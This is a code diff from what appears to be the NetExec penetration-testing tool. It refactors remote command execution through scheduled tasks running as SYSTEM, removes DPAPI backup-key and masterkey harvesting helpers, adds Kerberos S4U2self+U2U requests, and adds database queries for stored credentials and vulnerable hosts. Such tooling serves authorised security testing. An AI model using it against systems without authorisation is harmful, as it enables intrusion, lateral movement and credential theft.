|
||||
if not self.nla:
|
||||
|
||||
@@ -98,7 +98,7 @@ class database(BaseDB):
|
||||
return [results]
|
||||
# filtering nla False because this is the misconfiguration we are looking for
|
||||
elif filter_term == "nla":
|
||||
q = q.filter(self.HostsTable.c.nla == False) # noqa: E712
|
||||
q = q.filter(self.HostsTable.c.nla == False) # ruff: ignore[true-false-comparison]
|
||||
# if we're filtering by ip/hostname
|
||||
elif filter_term and filter_term != "":
|
||||
q = format_host_query(q, filter_term, self.HostsTable)
|
||||
|
||||
+559
-455
File diff suppressed because it is too large.
Load diff
+37
-68
@@ -1,36 +1,29 @@
|
||||
import os
|
||||
import random
|
||||
from textwrap import dedent
|
||||
from impacket.dcerpc.v5 import tsch, transport
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
from nxc.helpers.misc import gen_random_string
|
||||
from time import sleep
|
||||
from datetime import datetime, timedelta
|
||||
from textwrap import dedent
|
||||
from time import sleep
|
||||
|
||||
from impacket.dcerpc.v5 import tsch
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
|
||||
from nxc.helpers.misc import gen_random_string
|
||||
from nxc.helpers.rpc import NXCRPCConnection
|
||||
|
||||
|
||||
class TSCH_EXEC:
|
||||
def __init__(self, target, share_name, username, password, domain, doKerberos=False, aesKey=None, remoteHost=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None,
|
||||
def __init__(self, connection, logger=None, tries=None, share=None,
|
||||
# These options are used by the schtask_as module, except the run_task_as
|
||||
# that defaults to NT AUTHORITY\System user (SID S-1-5-18) if not specified
|
||||
run_task_as="S-1-5-18", run_cmd=None, output_filename=None, task_name=None, output_file_location=None):
|
||||
self.__target = target
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
self.__domain = domain
|
||||
self.__share_name = share_name
|
||||
self.__lmhash = ""
|
||||
self.__nthash = ""
|
||||
self.__connection = connection
|
||||
self.logger = logger
|
||||
self.__tries = tries
|
||||
self.__share = share
|
||||
self.__outputBuffer = b""
|
||||
self.__retOutput = False
|
||||
self.__aesKey = aesKey
|
||||
self.__doKerberos = doKerberos
|
||||
self.__remoteHost = remoteHost
|
||||
self.__kdcHost = kdcHost
|
||||
self.__tries = tries
|
||||
self.__output_filename = None
|
||||
self.__share = share
|
||||
self.logger = logger
|
||||
|
||||
# Optional args for finetuning the task execution, e.g. used in nxc/modules/schtask_as.py
|
||||
self.task_name = task_name if task_name else gen_random_string(8)
|
||||
@@ -39,32 +32,6 @@ class TSCH_EXEC:
|
||||
self.output_filename = output_filename
|
||||
self.output_file_location = output_file_location
|
||||
|
||||
if hashes is not None:
|
||||
# This checks to see if we didn't provide the LM Hash
|
||||
if hashes.find(":") != -1:
|
||||
self.__lmhash, self.__nthash = hashes.split(":")
|
||||
else:
|
||||
self.__nthash = hashes
|
||||
|
||||
if self.__password is None:
|
||||
self.__password = ""
|
||||
|
||||
stringbinding = rf"ncacn_np:{self.__target}[\pipe\atsvc]"
|
||||
self.__rpctransport = transport.DCERPCTransportFactory(stringbinding)
|
||||
self.__rpctransport.setRemoteHost(self.__remoteHost)
|
||||
|
||||
if hasattr(self.__rpctransport, "set_credentials"):
|
||||
# This method exists only for selected protocol sequences.
|
||||
self.__rpctransport.set_credentials(
|
||||
self.__username,
|
||||
self.__password,
|
||||
self.__domain,
|
||||
self.__lmhash,
|
||||
self.__nthash,
|
||||
self.__aesKey,
|
||||
)
|
||||
self.__rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
|
||||
|
||||
def execute(self, command, output=False):
|
||||
self.__retOutput = output
|
||||
self.execute_handler(command)
|
||||
@@ -172,20 +139,12 @@ class TSCH_EXEC:
|
||||
return dedent(xml)
|
||||
|
||||
def execute_handler(self, command):
|
||||
dce = self.__rpctransport.get_dce_rpc()
|
||||
if self.__doKerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
|
||||
dce.set_credentials(*self.__rpctransport.get_credentials())
|
||||
dce.connect()
|
||||
dce = NXCRPCConnection(self.__connection).connect(r"\atsvc", tsch.MSRPC_UUID_TSCHS, auth_level=RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
|
||||
xml = self.gen_xml(command)
|
||||
self.logger.debug(f"Task XML: {xml}")
|
||||
self.logger.info(f"Creating task \\{self.task_name}")
|
||||
try:
|
||||
# Windows server 2003 has no MSRPC_UUID_TSCHS, if it bind, it will return abstract_syntax_not_supported
|
||||
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
dce.bind(tsch.MSRPC_UUID_TSCHS)
|
||||
tsch.hSchRpcRegisterTask(dce, f"\\{self.task_name}", xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
|
||||
except Exception as e:
|
||||
if e.error_code and hex(e.error_code) == "0x80070005":
|
||||
@@ -196,30 +155,40 @@ class TSCH_EXEC:
|
||||
self.logger.fail(str(e))
|
||||
return
|
||||
|
||||
try:
|
||||
done = False
|
||||
while not done:
|
||||
self.logger.debug(f"Calling SchRpcGetLastRunInfo for \\{self.task_name}")
|
||||
# Win2025+ (build 26100): RegistrationTrigger does not start the task over remote TSCH.
|
||||
if self.__connection.server_os_build and int(self.__connection.server_os_build) >= 26100:
|
||||
try:
|
||||
tsch.hSchRpcRun(dce, f"\\{self.task_name}")
|
||||
except tsch.DCERPCSessionError as e:
|
||||
self.logger.debug(f"hSchRpcRun returned: {e}")
|
||||
|
||||
done = False
|
||||
while not done:
|
||||
self.logger.debug(f"Calling SchRpcGetLastRunInfo for \\{self.task_name}")
|
||||
try:
|
||||
resp = tsch.hSchRpcGetLastRunInfo(dce, f"\\{self.task_name}")
|
||||
if resp["pLastRuntime"]["wYear"] != 0:
|
||||
done = True
|
||||
else:
|
||||
except tsch.DCERPCSessionError as e:
|
||||
if e.error_code == 0x00041303:
|
||||
sleep(2)
|
||||
except tsch.DCERPCSessionError as e:
|
||||
self.logger.fail(f"Error retrieving task last run info: {e}")
|
||||
continue
|
||||
self.logger.fail(f"Error retrieving task last run info: {e}")
|
||||
break
|
||||
if resp["pLastRuntime"]["wYear"] != 0:
|
||||
done = True
|
||||
else:
|
||||
sleep(2)
|
||||
|
||||
self.logger.info(f"Deleting task \\{self.task_name}")
|
||||
tsch.hSchRpcDelete(dce, f"\\{self.task_name}")
|
||||
|
||||
if self.__retOutput:
|
||||
smbConnection = self.__rpctransport.get_smb_connection()
|
||||
tries = 1
|
||||
# Give the command a bit of time to execute before we try to read the output, 0.4 seconds was good in testing
|
||||
sleep(0.4)
|
||||
while True:
|
||||
try:
|
||||
self.logger.info(f"Attempting to read {self.__share}\\{self.__output_filename}")
|
||||
smbConnection.getFile(self.__share, self.__output_filename, self.output_callback)
|
||||
self.__connection.conn.getFile(self.__share, self.__output_filename, self.output_callback)
|
||||
break
|
||||
except Exception as e:
|
||||
if tries >= self.__tries:
|
||||
@@ -247,7 +216,7 @@ class TSCH_EXEC:
|
||||
sleep(1)
|
||||
try:
|
||||
self.logger.debug(f"Deleting file {self.__share}\\{self.__output_filename}")
|
||||
smbConnection.deleteFile(self.__share, self.__output_filename)
|
||||
self.__connection.conn.deleteFile(self.__share, self.__output_filename)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
|
||||
@@ -3,7 +3,7 @@ import threading
|
||||
import warnings
|
||||
from datetime import datetime
|
||||
|
||||
from sqlalchemy import Boolean, Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, UniqueConstraint, func, select, delete
|
||||
from sqlalchemy import Boolean, Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, UniqueConstraint, func, select, delete, and_, or_
|
||||
from sqlalchemy.dialects.sqlite import Insert # used for upsert
|
||||
from sqlalchemy.exc import (
|
||||
SAWarning
|
||||
@@ -428,6 +428,20 @@ class database(BaseDB):
|
||||
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def get_credentials_for_users(self, usernames: list[str], cred_type: str | None = None):
|
||||
"""Return credentials for a list of users from the database."""
|
||||
if cred_type:
|
||||
q = select(self.UsersTable).filter(
|
||||
self.UsersTable.c.credtype == cred_type,
|
||||
and_(or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames]))
|
||||
)
|
||||
else:
|
||||
q = select(self.UsersTable).filter(
|
||||
or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames])
|
||||
)
|
||||
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def get_credential(self, cred_type, domain, username, password):
|
||||
q = select(self.UsersTable).filter(
|
||||
self.UsersTable.c.domain == domain,
|
||||
@@ -465,18 +479,18 @@ class database(BaseDB):
|
||||
return [results]
|
||||
# if we're filtering by domain controllers
|
||||
elif filter_term == "dc":
|
||||
q = q.filter(self.HostsTable.c.dc == True) # noqa: E712
|
||||
q = q.filter(self.HostsTable.c.dc == True) # ruff: ignore[true-false-comparison]
|
||||
if domain:
|
||||
q = q.filter(func.lower(self.HostsTable.c.domain) == func.lower(domain))
|
||||
elif filter_term == "signing":
|
||||
# generally we want hosts that are vulnerable, so signing disabled
|
||||
q = q.filter(self.HostsTable.c.signing == False) # noqa: E712
|
||||
q = q.filter(self.HostsTable.c.signing == False) # ruff: ignore[true-false-comparison]
|
||||
elif filter_term == "spooler":
|
||||
q = q.filter(self.HostsTable.c.spooler == True) # noqa: E712
|
||||
q = q.filter(self.HostsTable.c.spooler == True) # ruff: ignore[true-false-comparison]
|
||||
elif filter_term == "zerologon":
|
||||
q = q.filter(self.HostsTable.c.zerologon == True) # noqa: E712
|
||||
q = q.filter(self.HostsTable.c.zerologon == True) # ruff: ignore[true-false-comparison]
|
||||
elif filter_term == "petitpotam":
|
||||
q = q.filter(self.HostsTable.c.petitpotam == True) # noqa: E712
|
||||
q = q.filter(self.HostsTable.c.petitpotam == True) # ruff: ignore[true-false-comparison]
|
||||
elif filter_term is not None and filter_term.startswith("domain"):
|
||||
domain = filter_term.split()[1]
|
||||
like_term = func.lower(f"%{domain}%")
|
||||
@@ -725,13 +739,13 @@ class database(BaseDB):
|
||||
|
||||
def is_dpapi_secret_valid(self, dpapi_secret_id):
|
||||
"""
|
||||
Check if this group ID is valid.
|
||||
Check if this DPAPI secret ID is valid.
|
||||
:dpapi_secret_id is a primary id
|
||||
"""
|
||||
q = select(self.DpapiSecretsTable).filter(func.lower(self.DpapiSecretsTable.c.id) == dpapi_secret_id)
|
||||
results = self.db_execute(q).first()
|
||||
valid = results is not None
|
||||
nxc_logger.debug(f"is_dpapi_secret_valid(groupID={dpapi_secret_id}) => {valid}")
|
||||
nxc_logger.debug(f"is_dpapi_secret_valid(dpapi_secret_id={dpapi_secret_id}) => {valid}")
|
||||
return valid
|
||||
|
||||
def add_dpapi_secrets(
|
||||
|
||||
@@ -1,100 +0,0 @@
|
||||
from dploot.lib.target import Target
|
||||
from dploot.lib.smb import DPLootSMBConnection
|
||||
from dploot.triage.backupkey import BackupkeyTriage
|
||||
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
|
||||
|
||||
|
||||
def get_domain_backup_key(context):
|
||||
pvkbytes = None
|
||||
try:
|
||||
results = context.db.get_domain_backupkey(context.domain)
|
||||
except Exception:
|
||||
context.logger.fail(
|
||||
"Your version of nxcdb is not up to date, run nxcdb and create a new workspace: \
|
||||
'workspace create dpapi' then re-run the dpapi option"
|
||||
)
|
||||
return False
|
||||
if len(results) > 0:
|
||||
context.logger.success("Loading domain backupkey from nxcdb...")
|
||||
pvkbytes = results[0][2]
|
||||
elif context.no_da is None and context.args.local_auth is False:
|
||||
try:
|
||||
dc_target = Target.create(
|
||||
domain=context.domain,
|
||||
username=context.username,
|
||||
password=context.password,
|
||||
target=context.domain, # querying DNS server for domain will return DC
|
||||
lmhash=context.lmhash,
|
||||
nthash=context.nthash,
|
||||
do_kerberos=context.kerberos,
|
||||
aesKey=context.aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=context.use_kcache,
|
||||
)
|
||||
dc_conn = DPLootSMBConnection(dc_target)
|
||||
dc_conn.connect() # Connect to DC
|
||||
if dc_conn.is_admin():
|
||||
context.logger.success("User is Domain Administrator, exporting domain backupkey...")
|
||||
backupkey_triage = BackupkeyTriage(target=dc_target, conn=dc_conn)
|
||||
backupkey = backupkey_triage.triage_backupkey()
|
||||
pvkbytes = backupkey.backupkey_v2
|
||||
context.db.add_domain_backupkey(context.domain, pvkbytes)
|
||||
else:
|
||||
context.no_da = False
|
||||
except Exception as e:
|
||||
context.logger.fail(f"Could not get domain backupkey: {e}")
|
||||
return pvkbytes
|
||||
|
||||
|
||||
def collect_masterkeys_from_target(context, target, dploot_connection, user=True, system=True):
|
||||
masterkeys = []
|
||||
plaintexts = {}
|
||||
nthashes = {}
|
||||
if context.args.mkfile is not None:
|
||||
try:
|
||||
masterkeys += parse_masterkey_file(context.args.mkfile)
|
||||
except Exception as e:
|
||||
context.logger.fail(str(e))
|
||||
if user:
|
||||
plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")}
|
||||
nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")}
|
||||
# dploot matches user.lower()
|
||||
if context.password != "":
|
||||
plaintexts[context.username.lower()] = context.password
|
||||
if context.nthash != "":
|
||||
nthashes[context.username.lower()] = context.nthash
|
||||
|
||||
# Collect User and Machine masterkeys
|
||||
try:
|
||||
context.logger.display("Collecting DPAPI masterkeys, grab a coffee and be patient...")
|
||||
masterkeys_triage = MasterkeysTriage(
|
||||
target=target,
|
||||
conn=dploot_connection,
|
||||
pvkbytes=context.pvkbytes,
|
||||
passwords=plaintexts,
|
||||
nthashes=nthashes,
|
||||
dpapiSystem={},
|
||||
)
|
||||
context.logger.debug(f"Masterkeys Triage: {masterkeys_triage}")
|
||||
if user:
|
||||
context.logger.debug("Collecting user masterkeys")
|
||||
masterkeys += masterkeys_triage.triage_masterkeys()
|
||||
if system:
|
||||
context.logger.debug("Collecting machine masterkeys")
|
||||
masterkeys += masterkeys_triage.triage_system_masterkeys()
|
||||
except Exception as e:
|
||||
context.logger.debug(f"Could not get masterkeys: {e}")
|
||||
|
||||
return masterkeys
|
||||
|
||||
|
||||
def upgrade_to_dploot_connection(target, connection=None):
|
||||
conn = None
|
||||
try:
|
||||
conn = DPLootSMBConnection(target)
|
||||
if connection is not None:
|
||||
conn.smb_session = connection
|
||||
conn.connect()
|
||||
except Exception:
|
||||
return None
|
||||
return conn
|
||||
@@ -18,16 +18,17 @@ from impacket.krb5 import constants
|
||||
from nxc.logger import nxc_logger
|
||||
|
||||
|
||||
def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash, aesKey, kdcHost, impersonate, spn, use_cache, no_s4u2proxy=False):
|
||||
def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash, aesKey, kdcHost, impersonate, spn, use_cache, no_s4u2proxy=False, u2u=False):
|
||||
my_tgt = None
|
||||
if use_cache:
|
||||
domain, _, tgt, _ = CCache.parseFile(domain, username)
|
||||
domain, ccache_user, tgt, _ = CCache.parseFile(domain, username)
|
||||
if tgt is None:
|
||||
raise
|
||||
my_tgt = tgt["KDC_REP"]
|
||||
raise Exception("No TGT found in ccache file")
|
||||
my_tgt = decoder.decode(tgt["KDC_REP"], asn1Spec=AS_REP())[0]
|
||||
cipher = tgt["cipher"]
|
||||
session_key = tgt["sessionKey"]
|
||||
my_tgt = decoder.decode(my_tgt, asn1Spec=AS_REP())[0]
|
||||
if not username and ccache_user:
|
||||
username = ccache_user
|
||||
if my_tgt is None:
|
||||
principal = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
|
||||
nxc_logger.debug("Getting TGT for user")
|
||||
@@ -118,9 +119,14 @@ def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash
|
||||
opts.append(constants.KDCOptions.renewable.value)
|
||||
opts.append(constants.KDCOptions.canonicalize.value)
|
||||
|
||||
if u2u:
|
||||
opts.append(constants.KDCOptions.renewable_ok.value)
|
||||
opts.append(constants.KDCOptions.enc_tkt_in_skey.value)
|
||||
|
||||
req_body["kdc-options"] = constants.encodeFlags(opts)
|
||||
|
||||
server_name = Principal(username, type=constants.PrincipalNameType.NT_UNKNOWN.value)
|
||||
# For U2U, include the domain in the serverName
|
||||
server_name = Principal(username, domain.upper(), type=constants.PrincipalNameType.NT_UNKNOWN.value) if u2u else Principal(username, type=constants.PrincipalNameType.NT_UNKNOWN.value)
|
||||
|
||||
seq_set(req_body, "sname", server_name.components_to_asn1)
|
||||
req_body["realm"] = str(decoded_tgt["crealm"])
|
||||
@@ -131,7 +137,10 @@ def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash
|
||||
req_body["nonce"] = random.getrandbits(31)
|
||||
seq_set_iter(req_body, "etype", (int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))
|
||||
|
||||
nxc_logger.info("Requesting S4U2self")
|
||||
if u2u:
|
||||
seq_set_iter(req_body, "additional-tickets", (ticket.to_asn1(TicketAsn1()),))
|
||||
|
||||
nxc_logger.info(f"Requesting S4U2self{'+U2U' if u2u else ''}")
|
||||
message = encoder.encode(tgs_req)
|
||||
|
||||
r = sendReceive(message, domain, kdcHost)
|
||||
|
||||
Loaded 100 of 124 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user